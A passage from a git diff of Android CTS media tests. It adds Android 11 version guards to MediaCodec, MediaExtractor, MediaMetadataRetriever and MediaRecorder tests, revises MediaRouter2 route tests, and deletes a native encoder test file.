-        codec = createCodecByType(format.getString(MediaFormat.KEY_MIME), isEncoder);
+        if (mIsAtLeastR) {
+            // recreate
+            codec = createCodecByType(format.getString(MediaFormat.KEY_MIME), isEncoder);
 
-        // configure improperly
-        try {
+            // configure improperly
+            try {
+                codec.configure(format, null /* surface */, null /* crypto */,
+                        MediaCodec.CONFIGURE_FLAG_USE_BLOCK_MODEL |
+                        (isEncoder ? MediaCodec.CONFIGURE_FLAG_ENCODE : 0) /* flags */);
+                fail("configure with detached buffer mode should be done after setCallback");
+            } catch (MediaCodec.CodecException e) {
+                logMediaCodecException(e);
+                fail("configure should not return IllegalStateException when improperly configured");
+            } catch (IllegalStateException e) { // expected
+            }
+
+            final LinkedBlockingQueue<Integer> inputQueue = new LinkedBlockingQueue<>();
+            codec.setCallback(new MediaCodec.Callback() {
+                @Override
+                public void onInputBufferAvailable(MediaCodec codec, int index) {
+                    inputQueue.offer(index);
+                }
+                @Override
+                public void onOutputBufferAvailable(
+                        MediaCodec codec, int index, MediaCodec.BufferInfo info) { }
+                @Override
+                public void onOutputFormatChanged(MediaCodec codec, MediaFormat format) { }
+                @Override
+                public void onError(MediaCodec codec, CodecException e) { }
+            });
+
+            // configure with CONFIGURE_FLAG_USE_BLOCK_MODEL (enter Configured State)
             codec.configure(format, null /* surface */, null /* crypto */,
                     MediaCodec.CONFIGURE_FLAG_USE_BLOCK_MODEL |
                     (isEncoder ? MediaCodec.CONFIGURE_FLAG_ENCODE : 0) /* flags */);
-            fail("configure with detached buffer mode should be done after setCallback");
-        } catch (MediaCodec.CodecException e) {
-            logMediaCodecException(e);
-            fail("configure should not return IllegalStateException when improperly configured");
-        } catch (IllegalStateException e) { // expected
-        }
 
-        final LinkedBlockingQueue<Integer> inputQueue = new LinkedBlockingQueue<>();
-        codec.setCallback(new MediaCodec.Callback() {
-            @Override
-            public void onInputBufferAvailable(MediaCodec codec, int index) {
-                inputQueue.offer(index);
+            // start codec (enter Executing state)
+            codec.start();
+
+            // grab input index (this should happen immediately)
+            Integer index = null;
+            try {
+                index = inputQueue.poll(2, TimeUnit.SECONDS);
+            } catch (InterruptedException e) {
             }
-            @Override
-            public void onOutputBufferAvailable(
-                    MediaCodec codec, int index, MediaCodec.BufferInfo info) { }
-            @Override
-            public void onOutputFormatChanged(MediaCodec codec, MediaFormat format) { }
-            @Override
-            public void onError(MediaCodec codec, CodecException e) { }
-        });
+            assertNotNull(index);
 
-        // configure with CONFIGURE_FLAG_USE_BLOCK_MODEL (enter Configured State)
-        codec.configure(format, null /* surface */, null /* crypto */,
-                MediaCodec.CONFIGURE_FLAG_USE_BLOCK_MODEL |
-                (isEncoder ? MediaCodec.CONFIGURE_FLAG_ENCODE : 0) /* flags */);
+            // test a few commands
+            try {
+                codec.getInputBuffers();
+                fail("getInputBuffers called in detached buffer mode should throw exception");
+            } catch (MediaCodec.IncompatibleWithBlockModelException e) { // expected
+            }
+            try {
+                codec.getOutputBuffers();
+                fail("getOutputBuffers called in detached buffer mode should throw exception");
+            } catch (MediaCodec.IncompatibleWithBlockModelException e) { // expected
+            }
+            try {
+                codec.getInputBuffer(index);
+                fail("getInputBuffer called in detached buffer mode should throw exception");
+            } catch (MediaCodec.IncompatibleWithBlockModelException e) { // expected
+            }
+            try {
+                codec.dequeueInputBuffer(0);
+                fail("dequeueInputBuffer called in detached buffer mode should throw exception");
+            } catch (MediaCodec.IncompatibleWithBlockModelException e) { // expected
+            }
+            MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
+            try {
+                codec.dequeueOutputBuffer(info, 0);
+                fail("dequeueOutputBuffer called in detached buffer mode should throw exception");
+            } catch (MediaCodec.IncompatibleWithBlockModelException e) { // expected
+            }
 
-        // start codec (enter Executing state)
-        codec.start();
-
-        // grab input index (this should happen immediately)
-        Integer index = null;
-        try {
-            index = inputQueue.poll(2, TimeUnit.SECONDS);
-        } catch (InterruptedException e) {
-        }
-        assertNotNull(index);
-
-        // test a few commands
-        try {
-            codec.getInputBuffers();
-            fail("getInputBuffers called in detached buffer mode should throw exception");
-        } catch (MediaCodec.IncompatibleWithBlockModelException e) { // expected
-        }
-        try {
-            codec.getOutputBuffers();
-            fail("getOutputBuffers called in detached buffer mode should throw exception");
-        } catch (MediaCodec.IncompatibleWithBlockModelException e) { // expected
-        }
-        try {
-            codec.getInputBuffer(index);
-            fail("getInputBuffer called in detached buffer mode should throw exception");
-        } catch (MediaCodec.IncompatibleWithBlockModelException e) { // expected
-        }
-        try {
-            codec.dequeueInputBuffer(0);
-            fail("dequeueInputBuffer called in detached buffer mode should throw exception");
-        } catch (MediaCodec.IncompatibleWithBlockModelException e) { // expected
-        }
-        MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
-        try {
-            codec.dequeueOutputBuffer(info, 0);
-            fail("dequeueOutputBuffer called in detached buffer mode should throw exception");
-        } catch (MediaCodec.IncompatibleWithBlockModelException e) { // expected
-        }
-
-        // test getQueueRequest
-        MediaCodec.QueueRequest request = codec.getQueueRequest(index);
-        try {
-            request.queue();
-            fail("QueueRequest should throw IllegalStateException when no buffer is set");
-        } catch (IllegalStateException e) { // expected
-        }
-        // setting a block
-        String[] names = new String[]{ codec.getName() };
-        request.setLinearBlock(MediaCodec.LinearBlock.obtain(1, names), 0, 0);
-        // setting additional block should fail
-        try (HardwareBuffer buffer = HardwareBuffer.create(
-                16 /* width */,
-                16 /* height */,
-                HardwareBuffer.YCBCR_420_888,
-                1 /* layers */,
-                HardwareBuffer.USAGE_CPU_READ_OFTEN | HardwareBuffer.USAGE_CPU_WRITE_OFTEN)) {
-            request.setHardwareBuffer(buffer);
-            fail("QueueRequest should throw IllegalStateException multiple blocks are set.");
-        } catch (IllegalStateException e) { // expected
+            // test getQueueRequest
+            MediaCodec.QueueRequest request = codec.getQueueRequest(index);
+            try {
+                request.queue();
+                fail("QueueRequest should throw IllegalStateException when no buffer is set");
+            } catch (IllegalStateException e) { // expected
+            }
+            // setting a block
+            String[] names = new String[]{ codec.getName() };
+            request.setLinearBlock(MediaCodec.LinearBlock.obtain(1, names), 0, 0);
+            // setting additional block should fail
+            try (HardwareBuffer buffer = HardwareBuffer.create(
+                    16 /* width */,
+                    16 /* height */,
+                    HardwareBuffer.YCBCR_420_888,
+                    1 /* layers */,
+                    HardwareBuffer.USAGE_CPU_READ_OFTEN | HardwareBuffer.USAGE_CPU_WRITE_OFTEN)) {
+                request.setHardwareBuffer(buffer);
+                fail("QueueRequest should throw IllegalStateException multiple blocks are set.");
+            } catch (IllegalStateException e) { // expected
+            }
         }
 
         // release codec
@@ -2662,8 +2669,10 @@
      * through the scenario.
      */
     public void testFlushAfterFirstBuffer() throws Exception {
-        for (int i = 0; i < 100; ++i) {
-            doFlushAfterFirstBuffer();
+        if (MediaUtils.check(mIsAtLeastR, "test needs Android 11")) {
+            for (int i = 0; i < 100; ++i) {
+                doFlushAfterFirstBuffer();
+            }
         }
     }
 
diff --git a/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java b/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java
index f648a3c..6438cd0 100644
--- a/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java
@@ -27,6 +27,9 @@
 import android.platform.test.annotations.Presubmit;
 import android.util.Base64;
 import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
 import android.view.Surface;
 
 import com.android.compatibility.common.util.ApiLevelUtil;
@@ -115,6 +118,10 @@
         if (false == deviceHasMediaDrm()) {
             tearDown();
         }
+        // Need MANAGE_USERS or CREATE_USERS permission to access ActivityManager#getCurrentUse in
+        // MediaCas, then adopt it from shell.
+        InstrumentationRegistry
+            .getInstrumentation().getUiAutomation().adoptShellPermissionIdentity();
     }
 
     @Override
diff --git a/tests/tests/media/src/android/media/cts/MediaExtractorTest.java b/tests/tests/media/src/android/media/cts/MediaExtractorTest.java
index 66f65a1..1407f79 100644
--- a/tests/tests/media/src/android/media/cts/MediaExtractorTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaExtractorTest.java
@@ -31,6 +31,7 @@
 import android.media.MediaFormat;
 import static android.media.MediaFormat.MIMETYPE_VIDEO_DOLBY_VISION;
 import android.media.cts.R;
+import android.os.Build;
 import android.os.PersistableBundle;
 import android.platform.test.annotations.AppModeFull;
 import android.test.AndroidTestCase;
@@ -39,6 +40,7 @@
 
 import androidx.test.filters.SmallTest;
 
+import com.android.compatibility.common.util.ApiLevelUtil;
 import com.android.compatibility.common.util.MediaUtils;
 
 import java.io.BufferedReader;
@@ -61,6 +63,7 @@
     private static final String TAG = "MediaExtractorTest";
     private static final UUID UUID_WIDEVINE = new UUID(0xEDEF8BA979D64ACEL, 0xA3C827DCD51D21EDL);
     private static final UUID UUID_PLAYREADY = new UUID(0x9A04F07998404286L, 0xAB92E65BE0885F95L);
+    private static boolean mIsAtLeastR = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
 
     protected Resources mResources;
     protected MediaExtractor mExtractor;
@@ -376,6 +379,7 @@
     }
 
     public void testGetDrmInitData() throws Exception {
+        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
         setDataSource(R.raw.psshtest);
         DrmInitData drmInitData = mExtractor.getDrmInitData();
         assertEquals(drmInitData.getSchemeInitDataCount(), 2);
diff --git a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
index 845cc9c..48208d9 100644
--- a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
@@ -35,6 +35,7 @@
 import android.media.MediaRecorder;
 import android.media.cts.R;
 import android.net.Uri;
+import android.os.Build;
 import android.os.Environment;
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.Presubmit;
@@ -44,7 +45,9 @@
 
 import androidx.test.filters.SmallTest;
 
+import com.android.compatibility.common.util.ApiLevelUtil;
 import com.android.compatibility.common.util.MediaUtils;
+
 import java.io.Closeable;
 import java.io.File;
 import java.io.FileInputStream;
@@ -84,6 +87,7 @@
             Color.valueOf(0.64f, 0.0f, 0.64f),
             Color.valueOf(0.64f, 0.64f, 0.0f),
     };
+    private boolean mIsAtLeastR = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
 
     @Override
     protected void setUp() throws Exception {
@@ -386,6 +390,7 @@
     }
 
     public void testGenreParsing() {
+        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
         Object [][] genres = {
             { R.raw.id3test0, null },
             { R.raw.id3test1, "Country" },
@@ -594,14 +599,20 @@
     }
 
     public void testThumbnailVP9Hdr() {
+        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
+
         testThumbnail(R.raw.video_1280x720_vp9_hdr_static_3mbps, 1280, 720);
     }
 
     public void testThumbnailAV1Hdr() {
+        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
+
         testThumbnail(R.raw.video_1280x720_av1_hdr_static_3mbps, 1280, 720);
     }
 
     public void testThumbnailHDR10() {
+        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
+
         testThumbnail(R.raw.video_1280x720_hevc_hdr10_static_3mbps, 1280, 720);
     }
 
@@ -675,48 +686,56 @@
     }
 
     public void testGetFrameAtTimePreviousSyncEditList() {
+        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
         int[][] testCases = {
                 { 2000000, 60 }, { 2433334, 60 }, { 2533334, 60 }, { 2933334, 60 }, { 3133334, 90}};
         testGetFrameAtTimeEditList(OPTION_PREVIOUS_SYNC, testCases);
     }
 
     public void testGetFrameAtTimeNextSyncEditList() {
+        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
         int[][] testCases = {
                 { 2000000, 60 }, { 2433334, 90 }, { 2533334, 90 }, { 2933334, 90 }, { 3133334, 120}};
         testGetFrameAtTimeEditList(OPTION_NEXT_SYNC, testCases);
     }
 
     public void testGetFrameAtTimeClosestSyncEditList() {
+        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
         int[][] testCases = {
                 { 2000000, 60 }, { 2433334, 60 }, { 2533334, 90 }, { 2933334, 90 }, { 3133334, 90}};
         testGetFrameAtTimeEditList(OPTION_CLOSEST_SYNC, testCases);
     }
 
     public void testGetFrameAtTimeClosestEditList() {
+        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
         int[][] testCases = {
                 { 2000000, 60 }, { 2433335, 73 }, { 2533333, 76 }, { 2949334, 88 }, { 3117334, 94}};
         testGetFrameAtTimeEditList(OPTION_CLOSEST, testCases);
     }
 
     public void testGetFrameAtTimePreviousSyncEmptyNormalEditList() {
+        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
         int[][] testCases = {
                 { 2133000, 60 }, { 2566334, 60 }, { 2666334, 60 }, { 3100000, 60 }, { 3266000, 90}};
         testGetFrameAtTimeEmptyNormalEditList(OPTION_PREVIOUS_SYNC, testCases);
     }
 
     public void testGetFrameAtTimeNextSyncEmptyNormalEditList() {
+        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
         int[][] testCases = {{ 2000000, 60 }, { 2133000, 60 }, { 2566334, 90 }, { 3100000, 90 },
                 { 3200000, 120}};
         testGetFrameAtTimeEmptyNormalEditList(OPTION_NEXT_SYNC, testCases);
     }
 
     public void testGetFrameAtTimeClosestSyncEmptyNormalEditList() {
+        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
         int[][] testCases = {
                 { 2133000, 60 }, { 2566334, 60 }, { 2666000, 90 }, { 3133000, 90 }, { 3200000, 90}};
         testGetFrameAtTimeEmptyNormalEditList(OPTION_CLOSEST_SYNC, testCases);
     }
 
     public void testGetFrameAtTimeClosestEmptyNormalEditList() {
+        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
         int[][] testCases = {
                 { 2133000, 60 }, { 2566000, 73 }, { 2666000, 76 }, { 3066001, 88 }, { 3255000, 94}};
         testGetFrameAtTimeEmptyNormalEditList(OPTION_CLOSEST, testCases);
@@ -915,6 +934,7 @@
 
     private void testGetScaledFrameAtTime(int scaleToWidth, int scaleToHeight,
             int expectedWidth, int expectedHeight, Bitmap.Config config) {
+        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
         MediaMetadataRetriever.BitmapParams params = null;
         Bitmap bitmap = null;
         if (config != null) {
diff --git a/tests/tests/media/src/android/media/cts/MediaRecorderTest.java b/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
index 44e724f..cef3d82 100644
--- a/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
@@ -41,6 +41,7 @@
 import android.media.MicrophoneInfo;
 import android.media.cts.AudioRecordingConfigurationTest.MyAudioRecordingCallback;
 import android.opengl.GLES20;
+import android.os.Build;
 import android.os.ConditionVariable;
 import android.os.Environment;
 import android.os.ParcelFileDescriptor;
@@ -54,6 +55,7 @@
 
 import androidx.test.filters.SmallTest;
 
+import com.android.compatibility.common.util.ApiLevelUtil;
 import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.MediaUtils;
 
@@ -132,6 +134,8 @@
 
     private final static String AVC = MediaFormat.MIMETYPE_VIDEO_AVC;
 
+    private boolean mIsAtLeastR = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
+
     public MediaRecorderTest() {
         super("android.media.cts", MediaStubActivity.class);
         OUTPUT_PATH = new File(Environment.getExternalStorageDirectory(),
@@ -1755,6 +1759,7 @@
     }
 
     public void testPrivacySensitive() throws Exception {
+        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
         if (!hasMicrophone() || !hasAac()) {
             MediaUtils.skipTest("no audio codecs or microphone");
             return;
@@ -1768,6 +1773,7 @@
     }
 
     public void testPrivacySensitiveDefaults() throws Exception {
+        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
         if (!hasMicrophone() || !hasAac()) {
             MediaUtils.skipTest("no audio codecs or microphone");
             return;
diff --git a/tests/tests/media/src/android/media/cts/MediaRoute2InfoTest.java b/tests/tests/media/src/android/media/cts/MediaRoute2InfoTest.java
index d4be2a5..bf75ec8 100644
--- a/tests/tests/media/src/android/media/cts/MediaRoute2InfoTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaRoute2InfoTest.java
@@ -43,6 +43,7 @@
  */
 @RunWith(AndroidJUnit4.class)
 @SmallTest
+@NonMediaMainlineTest
 public class MediaRoute2InfoTest {
 
     public static final String TEST_ID = "test_id";
diff --git a/tests/tests/media/src/android/media/cts/MediaRoute2ProviderServiceTest.java b/tests/tests/media/src/android/media/cts/MediaRoute2ProviderServiceTest.java
index 21a62d2..271db7d 100644
--- a/tests/tests/media/src/android/media/cts/MediaRoute2ProviderServiceTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaRoute2ProviderServiceTest.java
@@ -68,6 +68,7 @@
 @RunWith(AndroidJUnit4.class)
 @AppModeFull(reason = "The system should be able to bind to StubMediaRoute2ProviderService")
 @LargeTest
+@NonMediaMainlineTest
 public class MediaRoute2ProviderServiceTest {
     private static final String TAG = "MR2ProviderServiceTest";
     Context mContext;
diff --git a/tests/tests/media/src/android/media/cts/MediaRouter2Test.java b/tests/tests/media/src/android/media/cts/MediaRouter2Test.java
index b6be506..48466d5 100644
--- a/tests/tests/media/src/android/media/cts/MediaRouter2Test.java
+++ b/tests/tests/media/src/android/media/cts/MediaRouter2Test.java
@@ -17,6 +17,7 @@
 package android.media.cts;
 
 import static android.content.Context.AUDIO_SERVICE;
+import static android.media.MediaRoute2Info.FEATURE_LIVE_AUDIO;
 import static android.media.MediaRoute2Info.PLAYBACK_VOLUME_VARIABLE;
 import static android.media.cts.StubMediaRoute2ProviderService.FEATURES_SPECIAL;
 import static android.media.cts.StubMediaRoute2ProviderService.FEATURE_SAMPLE;
@@ -74,6 +75,7 @@
 @RunWith(AndroidJUnit4.class)
 @AppModeFull(reason = "The system should be able to bind to StubMediaRoute2ProviderService")
 @LargeTest
+@NonMediaMainlineTest
 public class MediaRouter2Test {
     private static final String TAG = "MR2Test";
     Context mContext;
@@ -89,6 +91,9 @@
     private static final String TEST_VALUE = "test_value";
     private static final RouteDiscoveryPreference EMPTY_DISCOVERY_PREFERENCE =
             new RouteDiscoveryPreference.Builder(Collections.emptyList(), false).build();
+    private static final RouteDiscoveryPreference LIVE_AUDIO_DISCOVERY_PREFERENCE =
+            new RouteDiscoveryPreference.Builder(
+                    Collections.singletonList(FEATURE_LIVE_AUDIO), false).build();
 
     @Before
     public void setUp() throws Exception {
@@ -123,10 +128,16 @@
 
     @Test
     public void testGetRoutesAfterCreation() {
-        List<MediaRoute2Info> initialRoutes = mRouter2.getRoutes();
-        assertFalse(initialRoutes.isEmpty());
-        for (MediaRoute2Info route : initialRoutes) {
-            assertTrue(route.isSystemRoute());
+        RouteCallback routeCallback = new RouteCallback() {};
+        mRouter2.registerRouteCallback(mExecutor, routeCallback, LIVE_AUDIO_DISCOVERY_PREFERENCE);
+        try {
+            List<MediaRoute2Info> initialRoutes = mRouter2.getRoutes();
+            assertFalse(initialRoutes.isEmpty());
+            for (MediaRoute2Info route : initialRoutes) {
+                assertTrue(route.getFeatures().contains(FEATURE_LIVE_AUDIO));
+            }
+        } finally {
+            mRouter2.unregisterRouteCallback(routeCallback);
         }
     }
 
@@ -137,18 +148,13 @@
     public void testGetRoutes() throws Exception {
         Map<String, MediaRoute2Info> routes = waitAndGetRoutes(FEATURES_SPECIAL);
 
-        int systemRouteCount = 0;
         int remoteRouteCount = 0;
         for (MediaRoute2Info route : routes.values()) {
-            if (route.isSystemRoute()) {
-                systemRouteCount++;
-            } else {
+            if (!route.isSystemRoute()) {
                 remoteRouteCount++;
             }
         }
 
-        // Can be greater than 1 if BT devices are connected.
-        assertTrue(systemRouteCount > 0);
         assertEquals(1, remoteRouteCount);
         assertNotNull(routes.get(ROUTE_ID_SPECIAL_FEATURE));
     }
@@ -279,6 +285,8 @@
         final CountDownLatch successLatch2 = new CountDownLatch(1);
         final CountDownLatch failureLatch = new CountDownLatch(1);
         final CountDownLatch stopLatch = new CountDownLatch(1);
+        final CountDownLatch onReleaseSessionLatch = new CountDownLatch(1);
+
         final List<RoutingController> createdControllers = new ArrayList<>();
 
         // Create session with this route
@@ -305,6 +313,16 @@
             }
         };
 
+        StubMediaRoute2ProviderService service = mService;
+        if (service != null) {
+            service.setProxy(new StubMediaRoute2ProviderService.Proxy() {
+                @Override
+                public void onReleaseSession(long requestId, String sessionId) {
+                    onReleaseSessionLatch.countDown();
+                }
+            });
+        }
+
         Map<String, MediaRoute2Info> routes = waitAndGetRoutes(sampleRouteType);
         MediaRoute2Info route1 = routes.get(ROUTE_ID1);
         MediaRoute2Info route2 = routes.get(ROUTE_ID2);
@@ -331,15 +349,19 @@
             RoutingController controller1 = createdControllers.get(0);
             RoutingController controller2 = createdControllers.get(1);
 
-            // The first controller is expected to be released.
-            assertTrue(controller1.isReleased());
-
             assertNotEquals(controller1.getId(), controller2.getId());
             assertTrue(createRouteMap(controller1.getSelectedRoutes()).containsKey(
                     ROUTE_ID1));
             assertTrue(createRouteMap(controller2.getSelectedRoutes()).containsKey(
                     ROUTE_ID2));
 
+            // Transferred controllers shouldn't be obtainable.
+            assertFalse(mRouter2.getControllers().contains(controller1));
+            assertTrue(mRouter2.getControllers().contains(controller2));
+
+            // Should be able to release transferred controllers.
+            controller1.release();
+            assertTrue(onReleaseSessionLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
         } finally {
             releaseControllers(createdControllers);
             mRouter2.unregisterRouteCallback(routeCallback);
@@ -995,8 +1017,7 @@
             }
         };
 
-        mRouter2.registerRouteCallback(mExecutor, routeCallback,
-                new RouteDiscoveryPreference.Builder(new ArrayList<>(), true).build());
+        mRouter2.registerRouteCallback(mExecutor, routeCallback, LIVE_AUDIO_DISCOVERY_PREFERENCE);
 
         try {
             mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, targetVolume, 0);
diff --git a/tests/tests/media/src/android/media/cts/NativeEncoderTest.java b/tests/tests/media/src/android/media/cts/NativeEncoderTest.java
deleted file mode 100644
index 5cacfe1..0000000
--- a/tests/tests/media/src/android/media/cts/NativeEncoderTest.java
+++ /dev/null
@@ -1,203 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.media.cts.R;
-
-import android.content.res.AssetFileDescriptor;
-import android.content.res.Resources;
-import android.net.Uri;
-import android.os.Environment;
-import android.os.ParcelFileDescriptor;
-import android.platform.test.annotations.AppModeFull;
-import android.util.Log;
-import android.view.Surface;
-import android.webkit.cts.CtsTestServer;
-
-import com.android.compatibility.common.util.MediaUtils;
-
-import java.io.BufferedInputStream;
-import java.io.ByteArrayOutputStream;
-import java.io.File;
-import java.io.FileDescriptor;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.RandomAccessFile;
-import java.nio.ByteBuffer;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
-import java.util.UUID;
-
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class NativeEncoderTest extends MediaPlayerTestBase {
-    private static final String TAG = "NativeEncoderTest";
-    private static Resources mResources;
-
-    private static final String MIME_AVC = "video/avc";
-    private static final String MIME_HEVC = "video/hevc";
-    private static final String MIME_VP8 = "video/x-vnd.on2.vp8";
-
-    private static int mResourceVideo720p;
-    private static int mResourceVideo360p;
-
-    static {
-        System.loadLibrary("ctsmediacodec_jni");
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mResources = mContext.getResources();
-
-        mResourceVideo720p =
-                R.raw.bbb_s4_1280x720_webm_vp8_8mbps_30fps_opus_mono_64kbps_48000hz;
-        mResourceVideo360p =
-                R.raw.bbb_s1_640x360_webm_vp8_2mbps_30fps_vorbis_5ch_320kbps_48000hz;
-    }
-
-
-    private boolean testEncode(int res, String mime, int width, int height) {
-        AssetFileDescriptor fd = mResources.openRawResourceFd(res);
-
-        return testEncodeSurfaceNative(
-            fd.getParcelFileDescriptor().getFd(), fd.getStartOffset(), fd.getLength(),
-            mime, width, height);
-    }
-    private static native boolean testEncodeSurfaceNative(int fd, long offset, long size,
-            String mime, int width, int height);
-
-    public void testEncodeSurfaceH264720p() throws Exception {
-        boolean status = testEncode(mResourceVideo720p, MIME_AVC, 1280, 720);
-        assertTrue("native encode error", status);
-    }
-    public void testEncodeSurfaceVp8720p() throws Exception {
-        boolean status = testEncode(mResourceVideo720p, MIME_VP8, 1280, 720);
-        assertTrue("native encode error", status);
-    }
-    public void testEncodeSurfaceHevc720p() throws Exception {
-        boolean status = testEncode(mResourceVideo720p, MIME_HEVC, 1280, 720);
-        assertTrue("native encode error", status);
-    }
-    public void testEncodeSurfaceH264360p() throws Exception {
-        boolean status = testEncode(mResourceVideo360p, MIME_AVC, 640, 360);
-        assertTrue("native encode error", status);
-    }
-    public void testEncodeSurfaceVp8360p() throws Exception {
-        boolean status = testEncode(mResourceVideo360p, MIME_VP8, 640, 360);
-        assertTrue("native encode error", status);
-    }
-    public void testEncodeSurfaceHevc360p() throws Exception {
-        boolean status = testEncode(mResourceVideo360p, MIME_HEVC, 640, 360);
-        assertTrue("native encode error", status);
-    }
-
-
-    private boolean testEncodeDynamicSyncFrame(int res, String mime, int width, int height) {
-        AssetFileDescriptor fd = mResources.openRawResourceFd(res);
-
-        return testEncodeSurfaceDynamicSyncFrameNative(
-            fd.getParcelFileDescriptor().getFd(), fd.getStartOffset(), fd.getLength(),
-            mime, width, height);
-    }
-    private static native boolean testEncodeSurfaceDynamicSyncFrameNative(int fd, long offset, long size,
-            String mime, int width, int height);
-
-    public void testEncodeDynamicSyncFrameH264720p() throws Exception {
-        boolean status = testEncodeDynamicSyncFrame(mResourceVideo720p, MIME_AVC, 1280, 720);
-        assertTrue("native encode error", status);
-    }
-    public void testEncodeDynamicSyncFrameVp8720p() throws Exception {
-        boolean status = testEncodeDynamicSyncFrame(mResourceVideo720p, MIME_VP8, 1280, 720);
-        assertTrue("native encode error", status);
-    }
-    public void testEncodeDynamicSyncFrameHevc720p() throws Exception {
-        boolean status = testEncodeDynamicSyncFrame(mResourceVideo720p, MIME_HEVC, 1280, 720);
-        assertTrue("native encode error", status);
-    }
-    public void testEncodeDynamicSyncFrameH264360p() throws Exception {
-        boolean status = testEncodeDynamicSyncFrame(mResourceVideo360p, MIME_AVC, 640,  360);
-        assertTrue("native encode error", status);
-    }
-    public void testEncodeDynamicSyncFrameVp8360p() throws Exception {
-        boolean status = testEncodeDynamicSyncFrame(mResourceVideo360p, MIME_VP8, 640, 360);
-        assertTrue("native encode error", status);
-    }
-    public void testEncodeDynamicSyncFrameHevc360p() throws Exception {
-        boolean status = testEncodeDynamicSyncFrame(mResourceVideo360p, MIME_HEVC, 640, 360);
-        assertTrue("native encode error", status);
-    }
-
-
-    private boolean testEncodeDynamicBitrate(int res, String mime, int width, int height) {
-        AssetFileDescriptor fd = mResources.openRawResourceFd(res);
-
-        return testEncodeSurfaceDynamicBitrateNative(
-            fd.getParcelFileDescriptor().getFd(), fd.getStartOffset(), fd.getLength(),
-            mime, width, height);
-    }
-    private static native boolean testEncodeSurfaceDynamicBitrateNative(int fd, long offset, long size,
-            String mime, int width, int height);
-
-    public void testEncodeDynamicBitrateH264720p() throws Exception {
-        boolean status = testEncodeDynamicBitrate(mResourceVideo720p, MIME_AVC, 1280, 720);
-        assertTrue("native encode error", status);
-    }
-    public void testEncodeDynamicBitrateVp8720p() throws Exception {
-        boolean status = testEncodeDynamicBitrate(mResourceVideo720p, MIME_VP8, 1280, 720);
-        assertTrue("native encode error", status);
-    }
-    public void testEncodeDynamicBitrateHevc720p() throws Exception {
-        boolean status = testEncodeDynamicBitrate(mResourceVideo720p, MIME_HEVC, 1280, 720);
-        assertTrue("native encode error", status);
-    }
-    public void testEncodeDynamicBitrateH264360p() throws Exception {
-        boolean status = testEncodeDynamicBitrate(mResourceVideo360p, MIME_AVC, 640, 360);
-        assertTrue("native encode error", status);
-    }
-    public void testEncodeDynamicBitrateVp8360p() throws Exception {
-        boolean status = testEncodeDynamicBitrate(mResourceVideo360p, MIME_VP8, 640, 360);
-        assertTrue("native encode error", status);
-    }
-    public void testEncodeDynamicBitrateHevc360p() throws Exception {
-        boolean status = testEncodeDynamicBitrate(mResourceVideo360p, MIME_HEVC, 640, 360);
-        assertTrue("native encode error", status);
-    }
-
-
-    private boolean testEncodePersistentSurface(int res, String mime, int width, int height) {
-        AssetFileDescriptor fd = mResources.openRawResourceFd(res);
-
-        return testEncodePersistentSurfaceNative(
-            fd.getParcelFileDescriptor().getFd(), fd.getStartOffset(), fd.getLength(),
-            mime, width, height);
-    }
-
-    private static native boolean testEncodePersistentSurfaceNative(int fd, long offset, long size,
-            String mime, int width, int height);
-
-    public void testEncodePersistentSurface720p() throws Exception {
-        boolean status = testEncodePersistentSurface(mResourceVideo720p, MIME_AVC, 1280, 720);
-        assertTrue("native encode error", status);
-    }
-    public void testEncodePersistentSurface360p() throws Exception {
